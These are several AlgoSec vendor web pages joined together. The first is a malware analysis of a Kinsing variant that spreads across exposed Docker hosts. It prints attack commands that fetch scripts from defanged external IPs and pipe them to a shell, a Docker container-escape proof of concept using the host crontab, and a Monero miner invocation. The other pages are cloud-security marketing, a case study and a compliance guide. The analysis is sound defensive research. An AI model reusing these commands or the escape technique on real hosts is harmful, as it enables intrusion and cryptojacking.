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We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Are you tired of playing whack-a-mole with cloud security risks? Do endless compliance reports and alert fatigue leave you feeling... Cloud Security Unleash the Power of Application-Level Visibility: Your Secret Weapon for Conquering Cloud Chaos Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 7/22/24 Published Are you tired of playing whack-a-mole with cloud security risks? Do endless compliance reports and alert fatigue leave you feeling overwhelmed? It's time to ditch the outdated, reactive approach and embrace a new era of cloud security that's all about proactive visibility . The Missing Piece: Understanding Your Cloud Applications Imagine this: you have a crystal-clear view of every application running in your cloud environment. You know exactly which resources they're using, what permissions they have, and even the potential security risks they pose. Sounds like a dream, right? Well, it's not just possible – it's essential. Why? Because applications are the beating heart of your business. They're what drive your revenue, enable your operations, and store your valuable data. But they're also complex, interconnected, and constantly changing, making them a prime target for attackers. Gain the Upper Hand with Unbiased Cloud Discovery Don't settle for partial visibility or rely on your cloud vendor's limited tools. You need an unbiased, automated cloud discovery solution that leaves no stone unturned. With it, you can: Shine a Light on Shadow IT: Uncover all those rogue applications running without your knowledge, putting your organization at risk. Visualize the Big Picture: See the intricate relationships between your applications and their resources, making it easy to identify vulnerabilities and attack paths. Assess Risk with Confidence: Get a clear understanding of the security posture of each application, so you can prioritize your efforts and focus on the most critical threats. Stay Ahead of the Game: Continuously monitor your environment for changes, so you're always aware of new risks and vulnerabilities. From Reactive to Proactive: Turn Your Cloud into a Fortress Application-level visibility isn't just about compliance or passing an audit (though it certainly helps with those!). It's about fundamentally changing how you approach cloud security. By understanding your applications at a deeper level, you can: Prioritize with Precision: Focus your remediation efforts on the applications and risks that matter most to your business. Respond with Agility: Quickly identify and address vulnerabilities before they're exploited. Prevent Attacks Before They Happen: Implement proactive security measures, like tightening permissions and enforcing security policies, to stop threats in their tracks. Empower Your Teams: Give your security champions the tools they need to effectively manage risk and ensure the continuous security of your cloud environment. The cloud is an ever-changing landscape, but with application-level visibility as your guiding light, you can confidently navigate the challenges and protect your organization from harm. Don't be left in the dark – embrace the power of application understanding and take your cloud security to the next level! Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Cloud-native organizations need an efficient and automated way to identify the security risks across their cloud infrastructure. Sergei... Cloud Security CSPM essentials – what you need to know? Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 11/24/22 Published Cloud-native organizations need an efficient and automated way to identify the security risks across their cloud infrastructure. Sergei Shevchenko, Prevasio’s Co-Founder & CTO breaks down the essence of a CSPM and explains how CSPM platforms enable organizations to improve their cloud security posture and prevent future attacks on their cloud workloads and applications. In 2019, Gartner recommended that enterprise security and risk management leaders should invest in CSPM tools to “proactively and reactively identify and remediate these risks”. By “these”, Gartner meant the risks of successful cyberattacks and data breaches due to “misconfiguration, mismanagement, and mistakes” in the cloud. So how can you detect these intruders now and prevent them from entering your cloud environment in future? Cloud Security Posture Management is one highly effective way but is often misunderstood. Cloud Security: A real-world analogy There are many solid reasons for organizations to move to the cloud. Migrating from a legacy, on-premises infrastructure to a cloud-native infrastructure can lower IT costs and help make teams more agile. Moreover, cloud environments are more flexible and scalable than on-prem environments, which helps to enhance business resilience and prepares the organization for long-term opportunities and challenges. That said, if your production environment is in the cloud, it is also prone to misconfiguration errors, which opens the firm to all kinds of security threats and risks. Think of this environment as a building whose physical security is your chief concern. If there are gaps in this security, for example, a window that doesn’t close all the way or a lock that doesn’t work properly, you will try to fix them on priority in order to prevent unauthorized or malicious actors from accessing the building. But since this building is in the cloud, many older security mechanisms will not work for you. Thus, simply covering a hypothetical window or installing an additional hypothetical lock cannot guarantee that an intruder won’t ever enter your cloud environment. This intruder, who may be a competitor, enemy spy agency, hacktivist, or anyone with nefarious intentions, may try to access your business-critical services or sensitive data. They may also try to persist inside your environment for weeks or months in order to maintain access to your cloud systems or applications. Old-fashioned security measures cannot keep these bad guys out. They also cannot prevent malicious outsiders or worse, insiders from cryptojacking your cloud resources and causing performance problems in your production environment. What a CSPM is The main purpose of a CSPM is to help organizations minimize risk by providing cloud security automation, ensuring multi-cloud environments remain secure as they grow in scale and complexity. But, as organizations reach scale and add more complexity to their multi- cloud cloud environment, how can CSPMs help companies minimize such risks and better protect their cloud environments? Think of a CSPM as a building inspector who visits the building regularly (say, every day, or several times a day) to inspect its doors, windows, and locks. He may also identify weaknesses in these elements and produce a report detailing the gaps. The best, most experienced inspectors will also provide recommendations on how you can resolve these security issues in the fastest possible time. Similar to the role of a building inspector, CSPM provides organizations with the tools they need to secure your multi-cloud environment efficiently in a way that scales more readily than manual processes as your cloud deployments grow. Here are some CSPM key benefits: Efficient early detection: A CSPM tool allows you to automatically and continuously monitor your cloud environment. It will scan your cloud production environment to detect misconfiguration errors, raise alerts, and even predict where these errors may appear next. Responsive risk remediation: With a CSPM in your cloud security stack, you can also automatically remediate security risks and hidden threats, thus shortening remediation timelines and protecting your cloud environment from threat actors. Consistent compliance monitoring: CSPMs also support automated compliance monitoring, meaning they continuously review your environment for adherence to compliance policies. If they detect drift (non-compliance), appropriate corrective actions will be initiated automatically. What a CSPM is not Using the inspector analogy, it’s important to keep in mind that a CSPM can only act as an observer, not a doer. Thus, it will only assess the building’s security environment and call out its weakness. It won’t actually make any changes himself, say, by doing intrusive testing. Even so, a CSPM can help you prevent 80% of misconfiguration-related intrusions into your cloud environment. What about the remaining 20%? For this, you need a CSPM that offers something container scanning. Why you need an agentless CSPM across your multi-cloud environment If your network is spread over a multi-cloud environment, an agentless CSPM solution should be your optimal solution. Here are three main reasons in support of this claim: 1. Closing misconfiguration gaps: It is especially applicable if you’re looking to eliminate misconfigurations across all your cloud accounts, services, and assets. 2. Ensuring continuous compliance: It also detects compliance problems related to three important standards: HIPAA, PCI DSS, and CIS. All three are strict standards with very specific requirements for security and data privacy. In addition, it can detect compliance drift from the perspectives of all three standards, thus giving you the peace of mind that your multi-cloud environment remains consistently compliant. 3. Comprehensive container scanning: An agentless CSPM can scan container environments to uncover hidden backdoors. Through dynamic behavior analyses, it can detect new threats and supply chain attack risks in cloud containers. It also performs container security static analyses to detect vulnerabilities and malware, thus providing a deep cloud scan – that too in just a few minutes. Why Prevasio is your ultimate agentless CSPM solution Multipurpose: Prevasio combines the power of a traditional CSPM with regular vulnerability assessments and anti-malware scans for your cloud environment and containers. It also provides a prioritized risk list according to CIS benchmarks, so you can focus on the most critical risks and act quickly to adequately protect your most valuable cloud assets. User friendly: Prevasio’s CSPM is easy to use and easier still to set up. You can connect your AWS account to Prevasio in just 7 mouse clicks and 30 seconds. Then start scanning your cloud environment immediately to uncover misconfigurations, vulnerabilities, or malware. Built for scale: Prevasio’s CSPM is the only solution that can scan cloud containers and provide more comprehensive cloud security configuration management with vulnerability and malware scans. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. Energy supplier keeps the lights on with automated network change management Organization Energy Supplier Industry Utilities & Energy Headquarters International Download case study Share Customer
success stories "AlgoSec has saved us a lot of time in managing our rule base.” Large energy supplier empowers internal stakeholders and streamlines network security policy change process Background The company is the provider of electricity and gas for their country. They are responsible for the planning, construction, operation, maintenance and global technical management of both these grids and associated infrastructures. The Challenge In order to provide power to millions of people, the company runs more than twenty IT and OT firewalls from multiple vendors that are hosted in multiple data centers throughout the country. Some of the challenges included: Lack of visibility over a complex architecture – With multiple networks, IT managers needed to know which network is behind which firewall and connect traffic flows to firewall rules. Change management processes were being managed by network diagrams created in Microsoft Visio and Microsoft Excel spreadsheets – tools that were not designed for network security policy management. Thousands of rules – Each firewall may have thousands of rules each. Many of these rules are unneeded and introduce unnecessary risk. Managing the maze of rules was time consuming and took time away from other strategic initiatives. Unnecessary requests – Business stakeholders were requesting status information about network traffic and making duplicate and unnecessary change requests for items covered by existing rules. The Solution The company was searching for a solution that provided: Visibility into their network topology, including traffic flows. Optimization of their firewall rules. Alerts before time-based rules expire. Automatic implementation of their rule base onto their firewall devices. They implemented AlgoSec Horizon Security Analyzer and AlgoSec Horizon FireFlow, as well as AlgoBot, AlgoSec’s ChatOps solution. AlgoSec Horizon Security Analyzer ensures security and compliance by providing visibility and analysis into complex network security policies. AlgoSec Horizon FireFlow improves security and saves security staffs’ time by automating the entire security policy change process, eliminating manual errors, and reducing risk. AlgoBot is an intelligent chatbot that handles network security policy management tasks. AlgoBot answers business user’s questions, submitted in plain English, and automatically assists with security policy change management processes – without requiring manual inputs or additional research. The Results Some of the ways the company benefitted from using AlgoSec include: Visibility and topology mapping – They are able to get a picture of their entire network and view traffic flows to each network device. Optimized firewall rules – They are able to adjust the placement of their rules, placing their most used rules higher in the rule base, improving performance, and also checking for unused objects or rules to clean up, removing unused rules, improving firewall performance. Improved communication and transparency for time-based rules – Before time-based rules expire (rule with an expiration date), the requester is automatically notified and asked if the rule should be extended or removed. Better, more refined rule requests – By first gathering information from AlgoBot, rule requests are better focused. Internal customers are able to check if rules are already in place before making requests, therefore avoiding requests that are already covered by existing rules. Empower internal stakeholders – Able to save the IT team’s time by empowering internal stakeholders to use AlgoBot to get the answers themselves to traffic queries. Met change implementation SLAs – By implementing their rules with AlgoSec, the company meets their internal SLAs for change implementation. Streamlined auditing processes – By documenting the changes they made in the firewalls, who made them, and when, their audit processes are streamlined. Zero-touch automation – Automatically implementing rules in multiple firewalls simultaneously ensures policy consistency across multiple devices, while preserving staff resources. This also eliminates the need to use the management consoles from individual vendors, saving time and reducing misconfigurations. Staff efficiencies – Hundreds of monthly change requests are able to be managed by a single staff member. He would not be able to do it without AlgoSec. The company switched from a competing solution because it was more user-friendly and provided greater visibility than the competing solution they were previously using. They are also impressed with AlgoSec’s scalability. “The initial setup is really easy. It has been running flawlessly since installation. Even upgrades are pretty straightforward and have never given us problems,” they noted. Schedule time with one of our experts

Looking to learn about cloud security compliance requirements and standards This article covers everything you need to know how AlgoSec can help your company Cloud compliance standards & security best practices What is cloud compliance, and why is it important for cloud security? Did you know that about 60% of the world’s corporate data is stored in the cloud? This figure is expected to keep rising as more companies adopt the cloud. Why is there a massive rise in the adoption of cloud computing? Cloud solutions offer great speed, agility, and flexibility. Organizations use emerging cloud technologies to deliver cutting-edge products and services. That said, deploying your workload to the cloud has many inherent security risks. Cloud infrastructures have an increased attack surface. And companies significantly rely on cloud providers to secure their sensitive data and applications. The cloud is complex with many access points that malicious actors can exploit. In other words, data stored in the cloud is more exposed to cyber-attacks To reinforce security and mitigate risks, there are cloud compliance frameworks you are required to comply with. There are many regulatory requirements or standards, including cloud provider compliance requirements and industry-specific compliance standards (like Payment Card Industry Data Security Standard [PCI DSS]). In this article, you’ll learn everything you need to know about cloud compliance, including compliance challenges & tips and how AlgoSec can help you implement compliant data security policies and procedures. Schedule a Demo Cloud compliance challenges Even though cloud technologies give organizations the speed and agility they need to stay ahead of the curve in the fast-changing business world, maintaining compliance with security standards is difficult. Here are some key compliance challenges cloud users are generally dealing with: Visibility into Hybrid Networks Complying with standards is difficult for organizations that operate hybrid networks due to visibility issues. A hybrid network uses more than one type of connection technology or topology. Managing a range of technologies makes gaining visibility into each network component more difficult. Meeting compliance requirements demand having good oversight over your network components. This is a big challenge for companies that run on hybrid cloud technologies. Keeping tabs on hybrid environments is time-consuming and requires advanced capabilities due to the complexity of these emerging cloud solutions. That said, you can solve the visibility issues by integrating a dedicated cloud security management solution to provide complete visibility into your hybrid and multi-cloud network environment. Multi-Cloud Workflows Most companies use multi-cloud solutions. As the technologies get more complex, so do the workflows. In other words, multi-cloud workflows are sophisticated and multi-faceted. Consequently, it’s harder for compliance officers to ensure the workflows meet relevant requirements. Dealing with multiple cloud services and having employees accessing data from various devices makes keeping up with information security and cloud governance standards very difficult. The multi-cloud architecture enables the distribution of roles in the company for better flexibility and agility. This impacts compliance as there are many people making decisions and applying changes. Monitoring who did what and how the changes affect your security posture is a labor-intensive process that can cause non-compliance. Automation Noncompliance can result from the inability of security officers to use automation solutions to comply with the metrics. Some security laws or regulations require manual monitoring of cloud infrastructures. This approach is time-consuming. Security standards are a lot easier to meet when the compliance check processes can be automated. Data Security The primary objective of cloud security regulations is to ensure the safety and confidentiality of sensitive data. Today, security data has become more challenging than ever. Deploying workloads and data to the cloud has worsened this problem. Cloud data security is challenging for two reasons: cloud storage or infrastructures have a wide attack surface area and ever-growing cyber threats. There is an increase in cyber-attacks, and cybercriminals are becoming more sophisticated than before. This trend is expected to worsen, with cyber criminality becoming a lucrative business. With cloud environments having multiple access points that can be compromised, malicious cyber actors are motivated to attack cloud systems. In addition, having data stored across multiple cloud services make data security a major threat to compliance. Maintaining Compliance Standards Each time CloudOps or a regulation evolve, organizations find it challenging to follow the rules or comply with new standards. When a compliance standard is updated, companies invest massive resources to understand the requirements and implement changes accordingly – while ensuring their optimal performance. Depending on the size of an organization, maintaining compliance is mentally tasking, time-consuming, and capital-intensive. Schedule a Demo Cloud compliance tips Having discussed the major cloud compliance challenges, here are some tips you can leverage to meet relevant requirements and remain compliant. Conduct a Network Security Audit Data security is a major compliance problem companies are facing. You can significantly improve your network security by instituting a security audit policy. An audit helps you to know the state of your security framework. It helps you understand how effective or reliable your security solutions are and uncover security policies you need to optimize. In addition, regular inspection enables you to avoid breaches by spotting vulnerabilities promptly. Conduct Periodic Compliance Checks Companies used to meet compliance standards through a well-regulated annual audit. Today, you are required to demonstrate to customers and regulators that your company is constantly compliant. As a result, you need to run periodic compliance check-ups in real-time. This doesn’t only help you avoid fines & penalties but also enables you to avoid security breaches and loss of data. Consider Micro-Segmentation This cloud security approach involves dividing cloud environments or data centers into unique segments and applying custom access and security controls to each segment. Micro-segmentation boosts security and gives better control over data and risk management . With security policies applied separately to each segment, a company-wide breach is unlikely. And when something goes wrong, restoring compliance is easier since security controls are not lumped together. In other words, micro-segmentation minimizes attack surface. It creates many “small networks” with independent security controls. So, when a malicious actor breaches your firewall, they don’t have access to your entire data centers and cloud environments – reducing the scope of damage of a single breach. In addition, micro-segmentation prevents east-west movement in your network. This security posture helps prevent east-west attacks by bringing granular segmentation down to the virtual machine level Periodically Audit Your Firewall Rules Firewall rules define what traffic your firewall allows and what is rejected. As the threat landscape keeps changing, there is a need to audit and update your firewall rules. Cybercriminals are constantly evolving and finding new ways to compromise networks. To be a thousand steps ahead of them, implement a security policy that mandates periodic auditing of your firewall rules. Schedule a Demo Cloud security FAQs If you are looking to learn more about cloud solutions and security compliance, this section covers some common questions you might have: What are the Main Security Benefits of a Hybrid Cloud Solution? A hybrid cloud solution enhances data security and helps you comply with regulations. It improves data security by giving organizations better flexibility with data storage options. With the hybrid model, you can store the most sensitive data in on-premise data centers and use public cloud services like Google Cloud for less sensitive data. On-premise data centers are more difficult to compromise, while data stored in a public cloud is easy to access and process by your team members. If your company operates in places with data localization laws, you don’t need to build data centers in each country. Customer data collected locally can be stored in public cloud infrastructures that comply with the data localization requirements. What are Some Hybrid Cloud Security Best Practices? Hybrid cloud security best practices include automation & visibility, regular audits, access control, consistent data encryption, secure endpoints, and secure backups. What About Public Cloud Security? How Do You Ensure AWS and Azure Compliance To ensure compliance, employ Amazon Web Services (AWS) and Microsoft Azure cloud engineers to help you configure and set up your cloud network. Public clouds are super complex. Not having experts configure and manage your cloud assets can lead to misconfigurations, waste of resources, and non-compliance. In addition to hiring experienced public cloud engineers, you should have a dedicated compliance specialist. The person will be responsible for monitoring compliance status to ensure your company is never found wanting. And when things go wrong, your compliance officer will be there to proffer solutions. What are the Top Cybersecurity Threats in the Public Cloud? Top cybersecurity threats in the public cloud include unauthorized access to data, distributed denial of services (DDoS) attacks, cloud misconfiguration, data leaks & data breaches, insecure API, insecure third-party resources, and system vulnerabilities. What are Some Common Regulatory Compliance Requirements? There are many global regulatory frameworks that set requirements organizations must meet when collecting and managing customer data. These regulations include HIPAA, PCI DSS, GDPR, ISO/IEC 27001, NIST, NERC, and Sarbanes-Oxley (SOX). Some of these regulatory frameworks are industry specific, while some apply to every company that operates where they are effective. For instance, HIPAA applies to the healthcare industry, and the General Data Protection Regulation (GDPR) applies to any organization that processes the personal data of EU citizens. Not all compliance standards apply to both on-premises data centers and cloud environments. Some regulations relate specifically to your cloud controls. What is the Shared Responsibility Model? The shared responsibility model stipulates that cloud service providers and their customers are responsible for ensuring the security of cloud networks. While cloud providers maintain basic compliance standards and provide security tools, your organization has a part to play in protecting its cloud networks. Use the security capabilities and tools offered by the cloud providers and third-party cloud security services to ensure your company has full visibility and management of its SaaS, PaaS, or IaaS assets. What are the Main Types of Network Security Policies? A network security policy defines a company’s security framework. It provides guidelines for computer network access, determines policy enforcement, and lays out the architecture of your organization’s network security environment. Network security policies determine how security best practices are implemented throughout the network estate. That being said, the main types of security policies include access management, email security, log management, BYOD, Password, patch management, server security, systems monitoring & auditing, vulnerability assessment, firewall management, and cloud configuration policies. Schedule a Demo How does AlgoSec help with cloud compliance? AlgoSec is a leader in cloud security management. It helps the world’s largest and most complex organizations to gain visibility, reduce risk, and maintain security & compliance across hybrid networks. Here is how AlgoSec can help your company with cloud compliance: End-to-End Network Visibility Get visibility of the underlying security policies implemented on firewalls and other security devices across your cloud-only or hybrid network, including multiple cloud vendors. Have a detailed insight into your network’s traffic flows and the state of your applications and data in real-time. Complete end-to-end visibility gives you the insights you need to implement suitable security policies to ensure compliance. Ensure Continuous Compliance Major regulations, like PCI DSS, ISO 27001 , HIPAA, SOX, NERC, and GDPR require you to conduct an audit to show compliance. This is time-consuming and labor-intensive, especially for organizations that run super complex cloud systems. Simplify and reduce audit preparation efforts and costs with out-of-the-box audit reports. Multi-Cloud Management You don’t have to spend more resources implementing multiple management consoles. With AlgoSec, you can handle multiple cloud management portals using a single solution. Secure Change Management Implement changes and configurations securely with zero-touch provisioning (ZTP). Manage security policies across single-cloud, multi-cloud, and hybrid environments via automation with zero-touch. Deploy changes automatically and eliminate most of the error-prone manual labor. Cloud Security Training AlgoSec offers comprehensive training for cloud security professionals. Cloud technologies are complex. And they keep evolving. Keeping tabs on new technologies and best practices requires regular cloud security training. Optimal training of your security personnel helps you stay compliant and proactively avert a crisis. Hybrid Cloud Environment Management Automatically migrates application connectivity and provides a unified security policy through easy-to-use workflows, risk assessment, and security policy management . Schedule a Demo Select a size What is cloud compliance, and why is it important for cloud security? Cloud compliance challenges Cloud compliance tips Cloud security FAQs How does AlgoSec help with cloud compliance? Get the latest insights from the experts Use these six best practices to simplify compliance and risk White paper Choose a better way to manage your network

Partner solution brief Manage secure application connectivity within BMC Remedy Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Webinars 5 proven ways to secure your hybrid network environment during team convergence Cloud and datacenter security teams are now one, but the tools, workflows, and policies haven’t caught up. Join ESG Principal Analyst John Grady alongside AlgoSec’s Field CTO Kyle Wickert and Product Manager Gal Yosef for a practical conversation on how leading organizations are tackling the operational challenges of security convergence. What you’ll learn: Why convergence between cloud and datacenter teams is accelerating How to reduce tool overload and policy inconsistencies What steps are teams taking to unify visibility, policy, and risk without slowing down delivery July 16, 2025 John Grady Principal Analyst | ESG Gal Yosef Product Manager | AlgoSec Kyle Wickert WW Strategic Architect Relevant resources 6 best practices to stay secure in the hybrid cloud Read Document Securing & managing hybrid network security See Documentation 6 must-dos to secure the hybrid cloud Read Document Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Security Policy Management with Professor Wool Advanced Cyber Threat and Incident Management Advanced Cyber Threat and Incident Management is a whiteboard-style series of lessons that examine some of the challenges and provide technical tips for helping organizations detect and quickly respond to cyber-attacks while minimizing the impact on the business. Lesson 1 SIEM solutions collect and analyze logs generated by the technology infrastructure, security systems and business applications. The Security Operations Center (SOC) team uses this information to identify and flag suspicious activity for further investigation. In this lesson, Professor Wool explains why it’s important to connect the information collected by the SIEM with other databases that provide information on application connectivity, in order to make informed decisions on the level of risk to the business, and the steps the SOC needs to take to neutralize the attack. How to bring business context into incident response Watch Lesson 2 In this lesson Professor Wool discusses the need for reachability analysis in order to assess the severity of the threat and potential impact of an incident. Professor Wool explains how to use traffic simulations to map connectivity paths to/from compromised servers and to/from the internet. By mapping the potential lateral movement paths of an attacker across the network, the SOC team can, for example, proactively take action to prevent data exfiltration or block incoming communications with Command and Control servers. Bringing reachability analysis into incident response Watch Have a Question for Professor Wool? Ask him now Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept 